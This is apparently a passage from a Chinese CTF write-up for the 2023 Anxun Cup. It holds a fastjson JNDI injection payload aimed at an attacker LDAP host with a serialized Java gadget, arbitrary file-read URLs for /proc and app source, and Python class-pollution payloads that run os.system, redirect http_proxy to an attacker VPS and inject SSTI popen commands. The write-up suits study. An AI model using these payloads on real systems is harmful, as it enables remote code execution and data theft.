hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAACwAEAA0ADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAFgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAA4AAAAEAAEAFgABABAAFwACAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAGwALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABgAGQACAAAAAQAaABsAAwAOAAAABAABABYAAQAcAAAAAgAdcHQACXplcm9wZWFjaHB3AQB4cQB+AA14"));
} catch (ParseException exception) {
exception.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
那剩下的就是fastjson 1.2.47以下都能用的缓存绕过啦
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://vps:port/anything",
"autoCommit": true
}
}
本地尝试
Swagger docs
读文档
"definitions": {
"UserRegistration": {
"type": "object",
"properties": {
"username": {
"type": "string"
},
"password": {
"type": "string"
}
}
},
"UserLogin": {
"type": "object",
"properties": {
"username": {
"type": "string"
},
"password": {
"type": "string"
}
}
}
},
所以传参的参数为username
和password
http://47.108.206.43:40476/api-base/v0/register
{"username":"admin","password":"admin"}
http://47.108.206.43:40476/api-base/v0/login
{"username":"admin","password":"admin"}
/api-base/v0/search
接口存在任意文件读取
接下来和CNSS招新赛一道题差不多
读进程
http://47.108.206.43:40476/api-base/v0/search?file=/proc/1/cmdline&type=text
读源码
http://47.108.206.43:40476/api-base/v0/search?file=/app/run.sh&type=text
http://47.108.206.43:40476/api-base/v0/search?file=/app/app.py&type=text
http://47.108.206.43:40476/api-base/v0/search?file=/app/api.py&type=text
源码中存在
def update(src, dst):
if hasattr(dst, '__getitem__'):
for key in src:
if isinstance(src[key], dict):
if key in dst and isinstance(src[key], dict):
update(src[key], dst[key])
else:
dst[key] = src[key]
else:
dst[key] = src[key]
else:
for key, value in src.items() :
if hasattr(dst,key) and isinstance(value, dict):
update(value,getattr(dst, key))
else:
setattr(dst, key, value)
非预期
直接python原型链污染
官方wp给出一位师傅的wp
我一看就知道是Python原型链污染变体(prototype-pollution-in-python) - 跳跳糖 (tttang.com)这一篇文章的
可惜了Boogipop大佬没试出来
直接一把梭哈
{"__init__":{
"__globals__":{
"__loader__":{
"__init__":{
"__globals__":{
"sys":{
"modules":{
"jinja2":{
"runtime":{
"exported":[
"*;__import__('os').system('ls /app > /app/a');#"
]
}
}
}
}
}
}
}
}
}
}
使用前面任意文件读取
http://47.108.206.43:40476/api-base/v0/search?file=/app/a&type=text
http://47.108.206.43:40526/api-base/v0/search?file=/app/EY6zl0isBvAWZFxZMvCCCTS3VRVMvoNi_FLAG&type=text
预期解
很明显的ssti漏洞,我们控制请求返回的结果为payload即可
但是如何控制呢,第一想法是上面的原型链污染写文件,那还不如直接非预期呢
这里很妙的使用了http_proxy
这个环境变量
http_proxy
环境变量主要是由底层 HTTP 请求库(如 requests
)使用的,在requests.get
时请求就会走代理
python原型链污染http_proxy
{
"__init__":{
"__globals__":{
"os":{
"environ":{
"http_proxy":"vps_ip:port"
}
}
}
}
}
然后使type
为text
即可,file
随意
/api-base/v0/search?file=user&type=text
开启监听,收到请求
这里我们能控制请求的响应,所以根据响应包来对应写数据
要手动ctrl+c退出
说到http_proxy
,前面写到已发生的比赛刷题 - Zer0peach can’t think过类似的题
php 5.6.23的漏洞
在CGI
(RFC 3875)的模式的时候, 会把请求中的Header, 加上HTTP_
前缀, 注册为环境变量
Header中发送一个Proxy:xxxxxx
, 那么PHP就会把他注册为HTTP_PROXY
环境变量
//若返回内容中有success即可读取flag
if(isset($_GET['flag'])) {
$client = new Client();
$response = $client->get('http://127.0.0.1:5000/api/eligible');
$content = $response->getBody();
$data = json_decode($content, TRUE);
if($data['success'] === true) {
echo system('/readflag');
}
}
同样是访问本地,要控制返回结果
然后同样做法即可
又一种方法
pankas
师傅的方法
就像预期解说的要控制响应数据
那就污染Response,太强了,炸裂
"__init__": {
"__globals__": {
"requests": {
"Response": {
"text": "{{().__class__.__base__.__subclasses__()[154].__init__.__globals__['popen']('命令').read()}}"
}
}
}
}
Reference
[第六届安洵杯网络安全挑战赛 Writeup - Boogiepop Doesn’t Laugh (boogipop.com)](https://boogipop.com/2023/12/24/第六届安洵杯网络安全挑战赛 Writeup/)
https://mp.weixin.qq.com/s/ThIPnl2EflGXhIjSJAmZhw
Java_Zoo/CTF/axb2023.md at main · p4d0rn/Java_Zoo (github.com)